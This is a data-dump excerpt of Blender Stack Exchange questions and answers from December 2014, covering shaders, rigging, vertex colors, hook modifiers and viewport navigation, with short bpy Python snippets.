  <row Id="21332" PostTypeId="1" AcceptedAnswerId="21359" CreationDate="2014-12-23T22:01:50.037" Score="9" ViewCount="6551" Body="&lt;p&gt;Is there any sort of node &quot;recipe&quot; or tricks for making asphalt? I'm making a road and I was wondering if there is a way of using shaders and/or other things in the editor to make it look more realistic?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is intended for use in Cycles.&lt;/p&gt;&#xA;" OwnerUserId="9583" LastEditorUserId="6204" LastEditDate="2014-12-24T02:11:52.063" LastActivityDate="2014-12-24T16:26:48.970" Title="Node &quot;Recipe&quot; For Asphalt?" Tags="&lt;cycles-render-engine&gt;&lt;materials&gt;&lt;nodes&gt;" AnswerCount="1" CommentCount="1" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21333" PostTypeId="2" ParentId="21302" CreationDate="2014-12-23T22:05:43.027" Score="2" Body="&lt;pre&gt;&lt;code&gt;bpy.data.scenes[&quot;Scene&quot;].render.image_settings.compression = 15&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="9606" LastActivityDate="2014-12-23T22:05:43.027" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="21334" PostTypeId="2" ParentId="21329" CreationDate="2014-12-23T22:09:20.047" Score="5" Body="&lt;p&gt;No. Larger sample numbers make the image more &lt;em&gt;accurate&lt;/em&gt;. If images appear to lack variation and imperfections, (I assume that's what you mean by clean) you can manually add them. This may include &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Particle systems in the air for dust&lt;/li&gt;&#xA;&lt;li&gt;Manually added light 'shafts'&lt;/li&gt;&#xA;&lt;li&gt;scratches on surfaces&lt;/li&gt;&#xA;&lt;li&gt;fading, or slightly different shades of colors&lt;/li&gt;&#xA;&lt;li&gt;high amounts of randomness (not weirdness, RANDOMNESS)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;All of these can go to make sure your picture look less 'perfect' although most of the time, you don't need to add them.&#xA;It all depends on how closely the final will be observed, and how critical your audience is. (or how &lt;em&gt;dirty&lt;/em&gt;, being the opposite of &lt;em&gt;clean&lt;/em&gt;, you feel comfortable with.&lt;/p&gt;&#xA;" OwnerUserId="6385" LastEditorUserId="3078" LastEditDate="2014-12-23T22:24:14.107" LastActivityDate="2014-12-23T22:24:14.107" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="21335" PostTypeId="2" ParentId="21320" CreationDate="2014-12-23T22:45:00.800" Score="6" Body="&lt;p&gt;Use the &quot;Game Engine: Save as Game Engine Runtime&quot; add-on:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Iu9h3.png&quot; alt=&quot;Add-on selection&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then you can save the game as executable, which can be run without needing to install Blender:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Ri3Eh.png&quot; alt=&quot;Saving the game&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You will end up with an executable, and a directory named after the Blender version. The executable will be for the same OS as you performed these actions on.&lt;/p&gt;&#xA;" OwnerUserId="888" LastActivityDate="2014-12-23T22:45:00.800" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="21336" PostTypeId="2" ParentId="19231" CreationDate="2014-12-23T22:56:19.160" Score="1" Body="&lt;p&gt;You could try setting the &lt;a href=&quot;http://www.blender.org/api/blender_python_api_2_72_1/bge.types.KX_GameObject.html#bge.types.KX_GameObject.record_animation&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;record_animation&lt;/code&gt;&lt;/a&gt; property to &lt;code&gt;False&lt;/code&gt; for the ball object:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;cont = GameLogic.getCurrentController()&#xA;cont.owner.record_animation = False&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="888" LastActivityDate="2014-12-23T22:56:19.160" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21337" PostTypeId="1" CreationDate="2014-12-23T22:56:52.023" Score="4" ViewCount="348" Body="&lt;p&gt;I usually pack my textures into the .blend file via the &quot;file&quot;--&gt;&quot;external data&quot;--&gt;&quot;pack all into .blend file&quot; command.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This time my Blender project contains objects linked from other blender files and I'm uncertain of what happens if I choose to pack external data.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The question is basically this:&#xA;If I choose to pack external files, will changing the original Blender files any longer update the meshes in the blend file to which they have been brought to via linking? Or am I essentially severing the links if I pack the external data?&lt;/p&gt;&#xA;" OwnerUserId="1037" LastActivityDate="2014-12-24T13:20:16.287" Title="What happens to linked objects when you choose to pack external data" Tags="&lt;linked-data&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21338" PostTypeId="1" AcceptedAnswerId="21339" CreationDate="2014-12-24T00:22:19.383" Score="2" ViewCount="1692" Body="&lt;p&gt;How does Blender determine which object it selects when you right click in object mode?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm confused, because sometimes Blender won't select the object I'm clearly clicking on.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I made a video of one such situation for an example:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://youtu.be/zmnRDUoOO5Y&quot; rel=&quot;nofollow&quot;&gt;http://youtu.be/zmnRDUoOO5Y&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the video, I'm clearly clicking on top of the armature object, but Blender keeps selecting a different object that is not even under the mouse cursor.&lt;/p&gt;&#xA;" OwnerUserId="1037" LastActivityDate="2016-05-26T05:13:24.803" Title="Why will Blender sometimes not select the object under the cursor" Tags="&lt;objects&gt;&lt;selection-tools&gt;" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21339" PostTypeId="2" ParentId="21338" CreationDate="2014-12-24T01:18:28.373" Score="3" Body="&lt;p&gt;Because there is &lt;strong&gt;margin distance&lt;/strong&gt; (in screen pixels) such that blender will select an object even if you click slightly next to it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So that mesh gets selected instead of armature because it is on top of the armature and the pointer is within the margin area. When you zoom in the pointer is no longer in margin area and the armature is now the top most object.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Honestly blender could do picking much more smartly and also check if something is directly beneath pointer even if closer_to_camera mesh qualifies for selection.&lt;/p&gt;&#xA;" OwnerUserId="7777" LastEditorUserId="7777" LastEditDate="2014-12-24T01:26:03.087" LastActivityDate="2014-12-24T01:26:03.087" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21341" PostTypeId="1" AcceptedAnswerId="21346" CreationDate="2014-12-24T04:36:33.773" Score="1" ViewCount="5171" Body="&lt;p&gt;There are two meshes that are clipping into each other.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/oaV8c.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I used the boolean modifier to subtract the cylinder from the wall object. How do I fix this problem?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;&lt;a href=&quot;http://www.pasteall.org/blend/33511&quot; rel=&quot;nofollow noreferrer&quot;&gt;.blend file&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="9641" LastEditorUserId="1476" LastEditDate="2014-12-24T13:48:38.730" LastActivityDate="2014-12-25T19:03:54.970" Title="Prevent meshes from clipping into each other" Tags="&lt;mesh&gt;" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21342" PostTypeId="1" CreationDate="2014-12-24T06:01:56.907" Score="3" ViewCount="1029" Body="&lt;p&gt;I am using black &amp;amp; white vertex colors to drive some of the shading on a character model's surface material (cycles), and found that the colors were the opposite of what I needed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I wound up just swapping the colors on the material's Color Mix node, but now I am wondering: is there any way in blender to invert a model's vertex colors?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT: To clarify, I was wondering if there was any &lt;em&gt;built-in&lt;/em&gt; method to directly modify vertex colors.  IE: without using python code or the invert node.&lt;/p&gt;&#xA;" OwnerUserId="1897" LastEditorUserId="1897" LastEditDate="2014-12-27T03:50:02.507" LastActivityDate="2014-12-27T03:50:02.507" Title="Inverting Vertex Colors?" Tags="&lt;materials&gt;&lt;vertex-colors&gt;" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21343" PostTypeId="1" AcceptedAnswerId="21438" CreationDate="2014-12-24T08:25:38.520" Score="3" ViewCount="795" Body="&lt;p&gt;I've been trying to generalize the solution to this question: &lt;a href=&quot;https://blender.stackexchange.com/questions/13484/using-python-to-create-a-curve-and-attach-its-endpoints-with-hooks-to-two-sphere&quot;&gt;Using python to create a curve and attach its endpoints with hooks to two spheres&lt;/a&gt;, so that it can work on an arbitrarily long bezier curve, but I can't seem to get the &lt;code&gt;hook_assign()&lt;/code&gt; function to work right. (See also &lt;a href=&quot;https://blender.stackexchange.com/questions/8450/how-to-use-bpy-ops-that-take-a-modifier-enum-as-an-argument&quot;&gt;How to use bpy ops that take a modifier Enum as an argument?&lt;/a&gt;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I print the state of &lt;code&gt;.select_control_point&lt;/code&gt; for each point on the curve before (or after) I call the &lt;code&gt;hook_assign&lt;/code&gt; function, the console output looks right except the function still returns &lt;code&gt;Warning: Requires selected vertices or active vertex group&lt;/code&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Below the code is some sample console feedback.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;noodcurv = bpy.data.curves.new('noodcurve', type='CURVE')       #create a new curve&#xA;noodcurv.dimensions = '3D'                                      #set some settings&#xA;noodcurv.resolution_u = 2&#xA;noodcurv.bevel_object = bevob&#xA;noodcurv.use_fill_caps = True&#xA;&#xA;bez = noodcurv.splines.new('BEZIER')                            #create a new spline&#xA;bez.bezier_points.add(len(coords)-1)                            #add points&#xA;for k, coord in enumerate(coords):                              #set coordinates &amp;amp; handles&#xA;    p = bez.bezier_points[k]&#xA;    p.co = coord&#xA;    p.handle_right_type = 'VECTOR'                              #or 'AUTOMATIC', 'ALIGNED', 'FREE_ALIGN'&#xA;    p.handle_left_type = 'VECTOR'&#xA;&#xA;noodcurvobj = bpy.data.objects.new('noodcurve', noodcurv)       #create object&#xA;modnames = ['hook.'+str(k).zfill(3) for k in range(len(coords))] #create modifier names&#xA;&#xA;for k, coord in enumerate(coords):                              #create modifiers &amp;amp; set Parent Object&#xA;    noodcurvobj.modifiers.new(modnames[k], type='HOOK')         &#xA;    noodcurvobj.modifiers[modnames[k]].object = bpy.context.scene.objects['link'+modnames[k][4:]]&#xA;&#xA;scn = bpy.context.scene                                         #scene variable&#xA;scn.objects.link(noodcurvobj)                                   #link to scene &amp;amp; activate&#xA;scn.objects.active = noodcurvobj&#xA;&#xA;bez.bezier_points[0].select_control_point = True                #this fixes the warning!?&#xA;&#xA;bpy.ops.object.mode_set(mode='EDIT')                            #change context&#xA;for k, coord in enumerate(coords):                              #assign points to modifiers&#xA;    p = bez.bezier_points[k]                                    #assign points to variables&#xA;    p.select_control_point = True&#xA;    for q,t in enumerate(bez.bezier_points):                    #debugging check&#xA;        print('control point: ', q, ' is', t.select_control_point)&#xA;    bpy.ops.object.hook_assign(modifier=modnames[k])            #assign vextex to modifier&#xA;    p.select_control_point = False&#xA;&#xA;bpy.ops.object.mode_set(mode='OBJECT')&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Some of the console output:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;control point:  0  is True&#xA;control point:  1  is False&#xA;control point:  2  is False&#xA;control point:  3  is False&#xA;control point:  4  is False&#xA;Warning: Requires selected vertices or active vertex group&#xA;&#xA;control point:  0  is False&#xA;control point:  1  is True&#xA;control point:  2  is False&#xA;control point:  3  is False&#xA;control point:  4  is False&#xA;Warning: Requires selected vertices or active vertex group&#xA;&#xA;control point:  0  is False&#xA;control point:  1  is False&#xA;control point:  2  is True&#xA;control point:  3  is False&#xA;control point:  4  is False&#xA;Warning: Requires selected vertices or active vertex group&#xA;...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;(I know it'd be better if I could use one loop instead of three, but as I ran into problems I kept rearranging stuff to more closely mimic the original answer, and at this point I'm out of ideas!)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I also noticed that if I set &lt;code&gt;.select_control_point = True&lt;/code&gt; for one or more points &lt;em&gt;before&lt;/em&gt; I enter the third loop, the warnings go away and the modifiers are all assigned to whatever control point(s) I selected before the loop (even though the console output will indicate I'm still stepping through the selected points correctly).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So what am I missing?&lt;/p&gt;&#xA;" OwnerUserId="813" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:42.843" LastActivityDate="2014-12-27T09:36:48.623" Title="Looping Hook Modifier Assignment" Tags="&lt;python&gt;&lt;modifiers&gt;" AnswerCount="1" CommentCount="1" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21344" PostTypeId="2" ParentId="21342" CreationDate="2014-12-24T08:35:13.410" Score="1" Body="&lt;p&gt;Perhaps you are looking for the Color Invert node.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The top half of the following image shows the vertex colors plugged straight into the models color.&#xA;The bottom half shows the Color Invert node inserted between the Attribute node and the final color.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/eeC0b.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1448" LastActivityDate="2014-12-24T08:35:13.410" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21345" PostTypeId="2" ParentId="21342" CreationDate="2014-12-24T09:05:03.123" Score="3" Body="&lt;p&gt;You can invert the colors of a vertex paint with python. The algorithm to invert the color is as follows:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;new_color = 1.0 - current_color&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the code to invert the color of a vertex paint. Note that you should substitute the name &lt;code&gt;Cube&lt;/code&gt; to the name of your mesh. Same goes for the vertex paint layer &lt;code&gt;Col&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;import random&#xA;&#xA;# get and store the object in object mode&#xA;obj = bpy.data.objects[&quot;Cube&quot;]&#xA;mesh = obj.data&#xA;&#xA;# set active vertex paint layer&#xA;color_layer = mesh.vertex_colors[&quot;Col&quot;]&#xA;&#xA;v = 0  # current vertex in loop&#xA;&#xA;# iterate over the verices and invert their color&#xA;for poly in mesh.polygons:&#xA;    for idx in poly.loop_indices:&#xA;        col = [(1 - color_layer.data[v].color[i]) for i in range(3)]&#xA;        color_layer.data[v].color = col&#xA;        v += 1&#xA;&#xA;# We have to refresh Vertex Paint mode to see the changes&#xA;bpy.ops.object.mode_set(mode='OBJECT')&#xA;bpy.ops.object.mode_set(mode='VERTEX_PAINT')&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Final Result&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/hwk69.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The advantage of this method is that you do not have to constantly invert at rendertime.&lt;/p&gt;&#xA;" OwnerUserId="1476" LastActivityDate="2014-12-24T09:05:03.123" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21346" PostTypeId="2" ParentId="21341" CreationDate="2014-12-24T09:12:12.113" Score="2" Body="&lt;p&gt;If you are referring to what can be seen in the image below, this is called z-fighting. It is when to surfaces overlap and are in the same 3d space. This is not physically possible in the real world. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/7gpX1.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;To fix this you would have to get rid of one of the overlapping surfaces. &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Select the object &lt;code&gt;Cube&lt;/code&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Select the faces that are overlapping.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/lEmQV.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;ol start=&quot;3&quot;&gt;&#xA;&lt;li&gt;Delete them, &lt;kbd&gt;x&lt;/kbd&gt; -&gt; &lt;em&gt;Faces&lt;/em&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Final Result&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/dSRwK.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1476" LastEditorUserId="1476" LastEditDate="2014-12-24T09:27:38.020" LastActivityDate="2014-12-24T09:27:38.020" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21347" PostTypeId="2" ParentId="21338" CreationDate="2014-12-24T09:42:44.993" Score="3" Body="&lt;p&gt;You can specify the object you want to select with &lt;kbd&gt;Alt&lt;/kbd&gt;+&lt;kbd&gt;RMB&lt;/kbd&gt;. This will bring up a menu of objects close to the cursor. This is useful in situations where there are lots of objects on top of or close to each other.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/KqSh4.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1476" LastEditorUserId="7777" LastEditDate="2014-12-24T10:03:39.807" LastActivityDate="2014-12-24T10:03:39.807" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="21348" PostTypeId="1" CreationDate="2014-12-24T11:06:06.710" Score="0" ViewCount="133" Body="&lt;p&gt;I have a finger rigged. When I try to rotate the finger back and forth it only moves slightly from side to side. What is causing this problem and how do I fix it?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/xHXRO.gif&quot; alt=&quot;animated gif&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.pasteall.org/blend/33513&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;strong&gt;.blend file&lt;/strong&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1476" LastEditorUserId="2217" LastEditDate="2014-12-24T17:28:15.610" LastActivityDate="2014-12-24T17:28:15.610" Title="Armature - cannot rotate finger" Tags="&lt;rigging&gt;&lt;armature&gt;&lt;transforms&gt;&lt;bones&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21350" PostTypeId="1" CreationDate="2014-12-24T11:32:54.013" Score="1" ViewCount="8432" Body="&lt;p&gt;I have already weight painted and assigned geometry to the left half of my model. I would like to copy thee contents to the right half of the model. How do I this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/adBXY.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.pasteall.org/blend/33515&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;strong&gt;.blend file&lt;/strong&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1476" LastActivityDate="2014-12-24T12:06:59.277" Title="Mirror vertex groups" Tags="&lt;armature&gt;&lt;weight-painting&gt;&lt;mirror&gt;&lt;vertex-groups&gt;" AnswerCount="1" CommentCount="1" ClosedDate="2014-12-27T03:04:44.510" ContentLicense="CC BY-SA 3.0" />
  <row Id="21351" PostTypeId="2" ParentId="21350" CreationDate="2014-12-24T12:06:59.277" Score="4" Body="&lt;p&gt;Go to the vertex group panel and choose Copy Vertex Group (from the drop down menu) for each group you want to mirror. Then select the copy and choose Mirror Vertex Group. &lt;/p&gt;&#xA;" OwnerUserId="9603" LastActivityDate="2014-12-24T12:06:59.277" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21352" PostTypeId="2" ParentId="21320" CreationDate="2014-12-24T12:24:05.410" Score="-1" Body="&lt;p&gt;The blend file only contains data, you need to use either blender or blenderplayer to view that data and play your game.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;blenderplayer is a &quot;view only&quot; application, it is blender without the ability to edit the data. When you distribute your game other people will need to use blenderplayer to play the game, you can either include the player with your data files or tell people to download it themselves.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you don't want to include blenderplayer then you will need to export your data to a different file format and create another application for your game. Only your model data will transfer so any game logic will need to be re-done.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://unity3d.com/&quot; rel=&quot;nofollow&quot;&gt;Unity&lt;/a&gt; is a popular game creation application. &lt;a href=&quot;http://www.godotengine.org/&quot; rel=&quot;nofollow&quot;&gt;Godot Engine&lt;/a&gt; is a newer opensource option. &lt;a href=&quot;https://code.google.com/p/gamekit/&quot; rel=&quot;nofollow&quot;&gt;gamekit&lt;/a&gt; is another option if you want to program your game from scratch.&lt;/p&gt;&#xA;" OwnerUserId="935" LastActivityDate="2014-12-24T12:24:05.410" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21353" PostTypeId="2" ParentId="21324" CreationDate="2014-12-24T12:42:30.637" Score="0" Body="&lt;p&gt;I see two things you need to change with your file -&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Change the flow type to Fire + Smoke - this is on the plane emitting the flames.&lt;/li&gt;&#xA;&lt;li&gt;Flip the colour ramp direction. This is the flame texture on the domain object.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;There is a two headed arrow above the colour ramp that will switch directions for you. this may not give the result you want, the main point would be the alpha values used at each point in the ramp are the wrong way around.&lt;/p&gt;&#xA;" OwnerUserId="935" LastActivityDate="2014-12-24T12:42:30.637" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21354" PostTypeId="1" CreationDate="2014-12-24T13:15:17.700" Score="3" ViewCount="35400" Body="&lt;p&gt;I know this may seem like a stupid idea, but the view, camera, whatever you call it (the view you see while flying around in the viewport) is very far from the grid. When I try to zoom to get closer, it eventually stops scrolling in. Is there some way for me to instantly bring the camera view back to the origin?&lt;/p&gt;&#xA;" OwnerUserId="9583" LastEditorUserId="8282" LastEditDate="2014-12-24T13:58:09.677" LastActivityDate="2014-12-24T13:58:09.677" Title="How to Return Camera View Back to the Origin?" Tags="&lt;3d-view&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="1" ClosedDate="2014-12-24T17:02:03.883" ContentLicense="CC BY-SA 3.0" />
  <row Id="21355" PostTypeId="2" ParentId="21337" CreationDate="2014-12-24T13:20:16.287" Score="1" Body="&lt;p&gt;No, at least in my test, nothing bad happens to the linked files. Linking still works and the textures get packed nicely.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For this kind of stuff it's fast and useful to just make test blends with cubes and spheres to toy around with in order to find out what happens.&lt;/p&gt;&#xA;" OwnerUserId="8282" LastActivityDate="2014-12-24T13:20:16.287" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21356" PostTypeId="2" ParentId="21348" CreationDate="2014-12-24T13:25:44.693" Score="1" Body="&lt;p&gt;Turn out that there were rotation locks on it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/cf3dN.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1476" LastActivityDate="2014-12-24T13:25:44.693" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21357" PostTypeId="2" ParentId="21354" CreationDate="2014-12-24T13:26:44.883" Score="11" Body="&lt;p&gt;View &gt; Align view &gt; &lt;strong&gt;Center Cursor and View All&lt;/strong&gt; &lt;kbd&gt;Shift&lt;/kbd&gt;+&lt;kbd&gt;C&lt;/kbd&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;OR&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Select an object from Outliner and:&#xA;View &gt; Align view &gt; &lt;strong&gt;View Selected&lt;/strong&gt; &lt;kbd&gt;Numpad .&lt;/kbd&gt;&lt;/p&gt;&#xA;" OwnerUserId="8282" LastActivityDate="2014-12-24T13:26:44.883" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21358" PostTypeId="2" ParentId="21308" CreationDate="2014-12-24T13:41:59.067" Score="3" Body="&lt;p&gt;When you are editing curves, selecting the point of the curve also selects the two control handles that define the curve going into and out of the control point. Rotating this selection moves all three and may not give the result you want.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another property of the curves control point is Tilt, you can see this value under Transform in the properties sidebar &lt;kbd&gt;N&lt;/kbd&gt;. When using a flat extrusion shape this can 'twist' the extrusion sideways without altering the curve shape.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/DKtM8.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You need to be cautious with it's use as a large tilt value compared to the next points can give a visible crease.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/8xQNF.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="935" LastActivityDate="2014-12-24T13:41:59.067" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21359" PostTypeId="2" ParentId="21332" CreationDate="2014-12-24T16:26:48.970" Score="16" Body="&lt;p&gt;I would start with a Voronoi texture as displacement map to get the &quot;pebbles&quot;, then disrupt that texture with other kinds of noise.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/uGTGo.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/jFvuJ.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/AnYkP.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerDisplayName="user1853" LastActivityDate="2014-12-24T16:26:48.970" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21360" PostTypeId="1" CreationDate="2014-12-24T17:02:04.990" Score="0" ViewCount="12781" Body="&lt;p&gt;After I parent my model with the bone, it shows loop in parents. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone know of a solution?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/0WgFB.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.pasteall.org/blend/33520&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;strong&gt;The .blend file&lt;/strong&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="9649" LastEditorUserId="2217" LastEditDate="2014-12-30T21:10:14.943" LastActivityDate="2014-12-30T21:10:14.943" Title="After I have removed vertices, error says &quot;loop in parent&quot;" Tags="&lt;animation&gt;&lt;objects&gt;&lt;armature&gt;&lt;bones&gt;" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="21361" PostTypeId="1" AcceptedAnswerId="21363" CreationDate="2014-12-24T18:36:27.603" Score="8" ViewCount="1370" Body="&lt;p&gt;I was trying to create moss (it's probably not moss, but still), and upon examining a patch of it from close, (IRL), I figured the easiest way to make it would be to have a particle systems that emits hairs, and them emit other hairs from each; however, I can't find a way to do this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this possible (without the use of Particle Nodes, since the latest release was 2.62)?&lt;/p&gt;&#xA;" OwnerUserId="3078" LastActivityDate="2014-12-24T20:27:39.470" Title="How to emit hair particles from other hairs" Tags="&lt;particles&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="5" ContentLicense="CC BY-SA 3.0" />
